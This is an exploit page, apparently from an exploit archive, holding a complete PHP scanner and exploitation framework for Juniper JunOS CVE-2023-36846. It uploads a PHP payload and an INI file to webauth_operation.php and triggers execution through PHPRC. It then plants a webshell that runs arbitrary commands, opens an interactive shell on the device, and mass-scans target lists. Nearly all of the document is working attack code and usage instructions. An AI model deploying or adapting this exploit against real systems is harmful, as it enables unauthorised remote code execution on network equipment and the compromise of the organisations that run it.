Juniper JunOS 23.4 Module Scanner / Exploitation Framework
Juniper JunOS 23.4 Module Scanner / Exploitation Framework
Juniper JunOS 23.4 Module Scanner / Exploitation Framework

=============================================================================================================================================
| # Title Juniper JunOS 23.4 Module Scanner / Exploitation Framework

=============================================================================================================================================
| # Title : Juniper Junos OS 23.4 Modular Scanner & Exploitation Framework |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://support.juniper.net/support/eol/software/junos/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/213671/ & CVE-2023-36846

[+] Summary : This PHP script is a modular scanner and exploitation framework targeting Juniper JunOS CVE?2023?36846.
It is designed with a clear separation of responsibilities and supports single?target testing, interactive exploitation, and large?scale batch scanning.

[+] Key Components & Flow :

Utilities (Utils)

Helpers for screen clearing, URL normalization, and parsing target lists from files.

HTTP Client (HttpClient)
A reusable cURL wrapper with configurable timeouts, SSL verification, redirects, headers, and POST/GET handling.

[+] Vulnerability Scanner (JunOSVulnerabilityScanner) :

Detects whether the vulnerable endpoint (webauth_operation.php) is accessible.

Attempts controlled file uploads using multiple size heuristics.

Uploads a PHP test payload and an INI file to trigger execution via PHPRC.

Verifies vulnerability by checking for unique execution markers.

Performs cleanup after testing.

[+] Exploitation Module (JunOSExploiter) :

Deploys a functional webshell using the same upload/INI mechanism.

Executes arbitrary commands through the webshell and captures output.

Supports automated cleanup of deployed artifacts.

[+] PoC :

# Quick Scan
`php junos_exploit.php -u https://target.com -r -v`

# Interactive Shell
`php junos_exploit.php -u https://target.com -v`

# Bulk Scan
`php junos_exploit.php -f targets.txt -t 10 -o results.txt`

# Secure Scan (with SSL)
`php junos_exploit.php -f targets.txt -s -v`


<?php


class Utils {
public static function clearScreen() {
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
system('cls');
} else {
system('clear');
}
}

public static function parseUrlsFile($filename) {
$urls = [];
if (!file_exists($filename)) {
throw new Exception("File not found: {$filename}");
}

$lines = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($lines as $line) {
$line = trim($line);
if (!empty($line) && filter_var($line, FILTER_VALIDATE_URL)) {
$urls[] = $line;
}
}

return $urls;
}

public static function normalizeUrl($url) {
$url = rtrim($url, '/');
if (!preg_match('#^https?://#', $url)) {
$url = 'https://' . $url;
}
return $url;
}
}

class HttpClient {
private $verifySSL = false;
private $timeout = 15;
private $userAgent = 'Mozilla/5.0 (compatible; JunOS-Scanner/1.0)';

public function __construct($options = []) {
$this->verifySSL = $options['verify_ssl'] ?? false;
$this->timeout = $options['timeout'] ?? 15;
}

public function setVerifySSL($verify) {
$this->verifySSL = $verify;
}

public function request($url, $method = 'GET', $data = null, $headers = []) {
$ch = curl_init();

$curlOptions = [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 3,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_USERAGENT => $this->userAgent,
CURLOPT_SSL_VERIFYPEER => $this->verifySSL,
CURLOPT_SSL_VERIFYHOST => $this->verifySSL ? 2 : 0,
];

$defaultHeaders = [];
if (!isset($headers['Content-Type']) && $method === 'POST') {
$defaultHeaders[] = 'Content-Type: application/x-www-form-urlencoded';
}

$allHeaders = array_merge($defaultHeaders, $headers);
if (!empty($allHeaders)) {
$curlOptions[CURLOPT_HTTPHEADER] = $allHeaders;
}

if ($method === 'POST') {
$curlOptions[CURLOPT_POST] = true;
if ($data !== null) {
if (is_array($data)) {
$curlOptions[CURLOPT_POSTFIELDS] = http_build_query($data);
} else {
$curlOptions[CURLOPT_POSTFIELDS] = $data;
}
}
}

curl_setopt_array($ch, $curlOptions);

$response = curl_exec($ch);
$info = curl_getinfo($ch);
$error = curl_error($ch);
$errno = curl_errno($ch);

curl_close($ch);

return [
'success' => $errno === 0,
'response' => $response,
'http_code' => $info['http_code'] ?? 0,
'error' => $error,
'errno' => $errno,
'info' => $info,
];
}
}

class JunOSVulnerabilityScanner {
private $httpClient;
private $baseUrl;
private $verbose;
private $randomPrefix;

public function __construct($baseUrl, $verbose = false, $verifySSL = false) {
$this->baseUrl = Utils::normalizeUrl($baseUrl);
$this->verbose = $verbose;
$this->randomPrefix = 'wt_' . bin2hex(random_bytes(4));
$this->httpClient = new HttpClient(['verify_ssl' => $verifySSL]);

if ($verbose) {
echo "[DEBUG] Scanner initialized for: {$this->baseUrl}\n";
echo "[DEBUG] Random prefix: {$this->randomPrefix}\n";
}
}

public function testUploadEndpoint() {
$url = $this->baseUrl . "/webauth_operation.php";
$response = $this->httpClient->request($url);

if ($response['http_code'] === 404 || $response['http_code'] === 403) {
return false;
}


$testData = ['rs' => 'test'];
$response = $this->httpClient->request($url, 'POST', $testData);

return $response['http_code'] === 200;
}

private function attemptUpload($payload, $filename, $mimeType = 'text/html') {
$uploadUrl = $this->baseUrl . "/webauth_operation.php";

$sizeAttempts = [
strlen(base64_encode($payload)),
strlen($payload),
strlen(base64_encode($payload)) * 2,
];

foreach ($sizeAttempts as $csize) {
$b64Payload = base64_encode($payload);
$fileData = "data:{$mimeType};base64,{$b64Payload}";

$postData = [
'rs' => 'do_upload',
'rsargs[0]' => "[{\"fileData\":\"{$fileData}\",\"fileName\":\"{$filename}\",\"csize\":{$csize}}]"
];

if ($this->verbose) {
echo "[DEBUG] Attempting upload with csize={$csize}\n";
}

$response = $this->httpClient->request($uploadUrl, 'POST', $postData);

if (!$response['success'] || $response['http_code'] !== 200) {
continue;
}

$patterns = [
'/0:\s*\'([^\']+)\'\s*\},/',
'/"0":"([^"]+)"/',
'/\'0\':\'([^\']+)\'/',
'/filename["\']?\s*:\s*["\']?([^"\'\s,]+)/i',
];

foreach ($patterns as $pattern) {
if (preg_match($pattern, $response['response'], $matches)) {
$uploadedFile = $matches[1];

if (strpos($uploadedFile, '..') !== false || strpos($uploadedFile, '/') !== false) {
continue;
}

if ($this->verbose) {
echo "[DEBUG] Extracted filename: {$uploadedFile}\n";
}

return $uploadedFile;
}
}

if (strpos($response['response'], 'fileName') !== false) {

$jsonMatch = [];
if (preg_match('/\{"?0"?:\s*"([^"]+)"\}/', $response['response'], $jsonMatch)) {
return $jsonMatch[1];
}
}
}

return null;
}

public function testVulnerability() {
if ($this->verbose) {
echo "[*] Testing vulnerability for: {$this->baseUrl}\n";
}

if (!$this->testUploadEndpoint()) {
if ($this->verbose) {
echo "[-] Upload endpoint not accessible\n";
}
return false;
}

$uniqueToken = $this->randomPrefix . '_test_' . bin2hex(random_bytes(4));
$phpPayload = "<?php echo '[S]' . '{$uniqueToken}' . '[E]'; ?>";

$phpFile = $this->attemptUpload($phpPayload, $this->randomPrefix . '.php');

if ($phpFile === null) {
if ($this->verbose) {
echo "[-] PHP upload failed\n";
}
return false;
}


$iniPayload = 'auto_prepend_file="/var/tmp/' . $phpFile . '"';
$iniFile = $this->attemptUpload($iniPayload, $this->randomPrefix . '.ini', 'text/plain');

if ($iniFile === null) {

$this->attemptCleanup($phpFile, null);
if ($this->verbose) {
echo "[-] INI upload failed\n";
}
return false;
}


$testUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}";
$response = $this->httpClient->request($testUrl);

$isVulnerable = false;
$cleanupFiles = ['php' => $phpFile, 'ini' => $iniFile];


if (strpos($response['response'], $uniqueToken) !== false) {
$isVulnerable = true;
} else {

$cmdTestUrl = $testUrl . "&0=echo+" . urlencode($uniqueToken);
$cmdResponse = $this->httpClient->request($cmdTestUrl);

if (strpos($cmdResponse['response'], $uniqueToken) !== false) {
$isVulnerable = true;
} else {

if (preg_match('/\[S\](.*?)\[E\]/s', $cmdResponse['response'], $matches)) {
if (strpos($matches[1], $uniqueToken) !== false) {
$isVulnerable = true;
}
}
}
}

$this->attemptCleanup($phpFile, $iniFile);

return $isVulnerable;
}

private function attemptCleanup($phpFile, $iniFile) {

if ($phpFile) {
$cleanupUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}&delete=1";
$this->httpClient->request($cleanupUrl);
}


if ($iniFile) {

$emptyIni = '';
$this->attemptUpload($emptyIni, $iniFile, 'text/plain');
}
}

public function getExploitInstance() {
return new JunOSExploiter($this->baseUrl, $this->verbose, $this->httpClient, $this->randomPrefix);
}
}

class JunOSExploiter {
private $baseUrl;
private $httpClient;
private $verbose;
private $randomPrefix;
private $uploadedFiles = [];

public function __construct($baseUrl, $verbose, $httpClient, $randomPrefix) {
$this->baseUrl = $baseUrl;
$this->httpClient = $httpClient;
$this->verbose = $verbose;
$this->randomPrefix = $randomPrefix;
}

public function deployWebshell() {
$phpFilename = $this->randomPrefix . '_shell.php';
$iniFilename = $this->randomPrefix . '_config.ini';


$phpPayload = <<<'PHP'
<?php
if(isset($_GET['cleanup'])) {
@unlink(__FILE__);
if(isset($_GET['ini'])) {
$iniFile = '/var/tmp/' . basename($_GET['ini']);
@unlink($iniFile);
}
exit;
}
if(isset($_GET['cmd'])) {
echo '[S]';
system($_GET['cmd']);
echo '[E]';
}
?>
PHP;

$scanner = new JunOSVulnerabilityScanner($this->baseUrl, $this->verbose);

$phpFile = $scanner->attemptUpload($phpPayload, $phpFilename);
if (!$phpFile) {
throw new Exception("Failed to upload PHP webshell");
}

$iniPayload = 'auto_prepend_file="/var/tmp/' . $phpFile . '"';
$iniFile = $scanner->attemptUpload($iniPayload, $iniFilename, 'text/plain');

if (!$iniFile) {
throw new Exception("Failed to upload INI configuration");
}

$this->uploadedFiles = [
'php' => $phpFile,
'ini' => $iniFile,
'shell_url' => $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}"
];

$testUrl = $this->uploadedFiles['shell_url'] . "&cmd=whoami";
$testResponse = $this->httpClient->request($testUrl);

if (!preg_match('/\[S\].*\[E\]/s', $testResponse['response'])) {
$this->cleanup();
throw new Exception("Webshell deployed but not functional");
}

return $this->uploadedFiles;
}

public function executeCommand($command) {
if (empty($this->uploadedFiles)) {
throw new Exception("Webshell not deployed");
}

$url = $this->uploadedFiles['shell_url'] . "&cmd=" . urlencode($command);
$response = $this->httpClient->request($url);

if (preg_match('/\[S\](.*?)\[E\]/s', $response['response'], $matches)) {
return trim($matches[1]);
}

return $response['response'];
}

public function cleanup() {
if (empty($this->uploadedFiles)) {
return false;
}

$cleanupUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$this->uploadedFiles['ini']}&cleanup=1&ini={$this->uploadedFiles['ini']}";
$this->httpClient->request($cleanupUrl);

$this->uploadedFiles = [];
return true;
}

public function __destruct() {
$this->cleanup();
}
}

class InteractiveShell {
private $exploiter;
private $isWindows;

public function __construct($exploiter) {
$this->exploiter = $exploiter;
$this->isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
}

public function run() {
echo "\n" . str_repeat("=", 60) . "\n";
echo "JunOS Interactive Shell\n";
echo "Type 'exit' or 'quit' to leave (auto-cleanup enabled)\n";
echo "Type 'clear' to clear screen\n";
echo "Type 'help' for commands\n";
echo str_repeat("=", 60) . "\n\n";


$stdin = fopen('php://stdin', 'r');

while (true) {
echo "junos> ";
$command = trim(fgets($stdin));

if (empty($command)) {
continue;
}

$cmdLower = strtolower($command);

if (in_array($cmdLower, ['exit', 'quit'])) {
echo "[*] Exiting and cleaning up...\n";
break;
} elseif ($cmdLower === 'clear') {
Utils::clearScreen();
continue;
} elseif ($cmdLower === 'help') {
$this->showHelp();
continue;
} elseif ($cmdLower === 'pwd') {

$command = 'pwd';
}

try {
$result = $this->exploiter->executeCommand($command);
echo "[+] Result:\n" . $result . "\n";
} catch (Exception $e) {
echo "[!] Error: " . $e->getMessage() . "\n";
}
}

fclose($stdin);
}

private function showHelp() {
echo "\nAvailable commands:\n";
echo " exit, quit - Exit shell and cleanup\n";
echo " clear - Clear screen\n";
echo " help - Show this help\n";
echo " whoami - Check current user\n";
echo " pwd - Print working directory\n";
echo " id - Show user/group IDs\n";
echo " ls [dir] - List directory\n";
echo " cat <file> - View file\n";
echo " uname -a - System info\n";
echo "\n";
}
}

class BatchScanner {
private $threads;
private $outputFile;
private $verbose;
private $verifySSL;

public function __construct($threads = 5, $outputFile = null, $verbose = false, $verifySSL = false) {
$this->threads = max(1, min($threads, 50));
$this->outputFile = $outputFile;
$this->verbose = $verbose;
$this->verifySSL = $verifySSL;
}

public function scanUrls($urls) {
$total = count($urls);
$vulnerable = 0;
$results = [];

echo "[*] Starting batch scan with {$this->threads} threads\n";
echo "[*] Targets: {$total}\n";
echo "[*] SSL Verification: " . ($this->verifySSL ? "ON" : "OFF") . "\n";
echo str_repeat("-", 60) . "\n";


$chunks = array_chunk($urls, ceil($total / $this->threads));
$workers = [];

foreach ($chunks as $chunkIndex => $chunk) {
$pid = pcntl_fork();

if ($pid == -1) {

die("Could not fork");
} elseif ($pid) {
// Parent process
$workers[] = $pid;
} else {
// Child process
$childResults = [];
foreach ($chunk as $url) {
try {
$scanner = new JunOSVulnerabilityScanner($url, $this->verbose, $this->verifySSL);
$isVuln = $scanner->testVulnerability();

if ($isVuln) {
$childResults[] = $url;
echo "[+] {$url} - VULNERABLE (PID: " . getmypid() . ")\n";
} elseif ($this->verbose) {
echo "[-] {$url} - NOT vulnerable (PID: " . getmypid() . ")\n";
}
} catch (Exception $e) {
if ($this->verbose) {
echo "[!] {$url} - ERROR: " . $e->getMessage() . "\n";
}
}
}

$resultFile = sys_get_temp_dir() . '/junos_scan_' . getmypid() . '.tmp';
file_put_contents($resultFile, implode("\n", $childResults));
exit(0);
}
}

foreach ($workers as $pid) {
pcntl_waitpid($pid, $status);

$resultFile = sys_get_temp_dir() . '/junos_scan_' . $pid . '.tmp';
if (file_exists($resultFile)) {
$childUrls = file($resultFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$results = array_merge($results, $childUrls);
unlink($resultFile);
}
}

if (empty($workers)) {
// ?????? ???????
foreach ($urls as $url) {
try {
$scanner = new JunOSVulnerabilityScanner($url, $this->verbose, $this->verifySSL);
$isVuln = $scanner->testVulnerability();

if ($isVuln) {
$results[] = $url;
echo "[+] {$url} - VULNERABLE\n";
} elseif ($this->verbose) {
echo "[-] {$url} - NOT vulnerable\n";
}
} catch (Exception $e) {
if ($this->verbose) {
echo "[!] {$url} - ERROR: " . $e->getMessage() . "\n";
}
}
}
}

if ($this->outputFile && !empty($results)) {
file_put_contents($this->outputFile, implode("\n", $results) . "\n", LOCK_EX);
echo "[*] Results saved to: {$this->outputFile}\n";
}

echo str_repeat("-", 60) . "\n";
echo "[*] Scan completed. Vulnerable: " . count($results) . "/{$total}\n";

return $results;
}
}

function main() {
$options = getopt("t:o:f:u:vsrh", [
"threads:", "output:", "file:", "url:",
"verbose", "ssl", "report", "help"
]);


if (isset($options['h']) || isset($options['help'])) {
showHelp();
exit(0);
}


$threads = isset($options['t']) ? (int)$options['t'] :
(isset($options['threads']) ? (int)$options['threads'] : 5);
$output = isset($options['o']) ? $options['o'] :
(isset($options['output']) ? $options['output'] : null);
$file = isset($options['f']) ? $options['f'] :
(isset($options['file']) ? $options['file'] : null);
$url = isset($options['u']) ? $options['u'] :
(isset($options['url']) ? $options['url'] : null);
$verbose = isset($options['v']) || isset($options['verbose']);
$verifySSL = isset($options['s']) || isset($options['ssl']);
$reportOnly = isset($options['r']) || isset($options['report']);


if ($url && $reportOnly) {
echo "[*] Quick vulnerability check for: {$url}\n";
$scanner = new JunOSVulnerabilityScanner($url, true, $verifySSL);
$isVuln = $scanner->testVulnerability();

if ($isVuln) {
echo "\n[?] TARGET IS VULNERABLE TO CVE-2023-36846\n";
exit(0);
} else {
echo "\n[?] Target is NOT vulnerable\n";
exit(1);
}
}


if ($url && !$reportOnly) {
echo "[*] Starting interactive mode for: {$url}\n";

try {

$scanner = new JunOSVulnerabilityScanner($url, true, $verifySSL);
if (!$scanner->testVulnerability()) {
echo "[!] Target does not appear to be vulnerable\n";
echo "[?] Continue anyway? (y/N): ";
$confirm = trim(fgets(STDIN));
if (strtolower($confirm) !== 'y') {
exit(1);
}
}

$exploiter = $scanner->getExploitInstance();
$files = $exploiter->deployWebshell();

echo "[+] Webshell deployed successfully\n";
echo "[+] PHP file: {$files['php']}\n";
echo "[+] INI file: {$files['ini']}\n";
echo "[+] Access URL: {$files['shell_url']}\n\n";

$shell = new InteractiveShell($exploiter);
$shell->run();

} catch (Exception $e) {
echo "[!] Error: " . $e->getMessage() . "\n";
exit(1);
}

exit(0);
}

if ($file) {
try {
$urls = Utils::parseUrlsFile($file);
if (empty($urls)) {
echo "[!] No valid URLs found in file\n";
exit(1);
}

$scanner = new BatchScanner($threads, $output, $verbose, $verifySSL);
$results = $scanner->scanUrls($urls);

if (!empty($results)) {
echo "\n[*] Vulnerable hosts found:\n";
foreach ($results as $vulnUrl) {
echo " - {$vulnUrl}\n";
}
}

} catch (Exception $e) {
echo "[!] Error: " . $e->getMessage() . "\n";
exit(1);
}

exit(0);
}

echo "[!] Invalid arguments\n";
showHelp();
exit(1);
}

function showHelp() {
echo <<<HELP
JunOS CVE-2023-36846 Scanner & Exploit Framework by indoushka
=============================================================

Usage modes:
php junos_exploit.php -u URL [OPTIONS] # Interactive shell
php junos_exploit.php -u URL -r # Quick vulnerability check
php junos_exploit.php -f FILE [OPTIONS] # Batch scan

Options:
-u, --url URL Target URL (https://target.com)
-f, --file FILE File containing URLs (one per line)
-t, --threads N Threads for batch scan (1-50, default: 5)
-o, --output FILE Save vulnerable hosts to file
-v, --verbose Enable verbose output
-s, --ssl Enable SSL certificate verification
-r, --report Report only mode (no exploitation)
-h, --help Show this help

Examples:
# Quick check
php junos_exploit.php -u https://192.168.1.1 -r -v

# Interactive shell
php junos_exploit.php -u https://vuln-router.local -v

# Batch scan
php junos_exploit.php -f targets.txt -t 10 -o vuln.txt -v

# Batch scan with SSL verification
php junos_exploit.php -f targets.txt -s -o secure_scan.txt

Security Notes:
? Use only on authorized systems
? SSL verification is disabled by default for testing
? Tool performs auto-cleanup after exploitation
? Random file names prevent collisions

HELP;
}

if (php_sapi_name() === 'cli') {

$requiredExts = ['curl'];
$missingExts = [];

foreach ($requiredExts as $ext) {
if (!extension_loaded($ext)) {
$missingExts[] = $ext;
}
}

if (!empty($missingExts)) {
echo "[!] Missing PHP extensions: " . implode(', ', $missingExts) . "\n";
echo "[!] Install with: sudo apt-get install php-curl\n";
exit(1);
}

declare(ticks = 1);
pcntl_signal(SIGINT, function() {
echo "\n[*] Interrupted by user. Exiting...\n";
exit(0);
});

try {
main();
} catch (Exception $e) {
echo "[!] Fatal error: " . $e->getMessage() . "\n";
exit(1);
}
} else {
header('HTTP/1.1 403 Forbidden');
echo "This tool must be run from command line\n";
exit(1);
}

?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.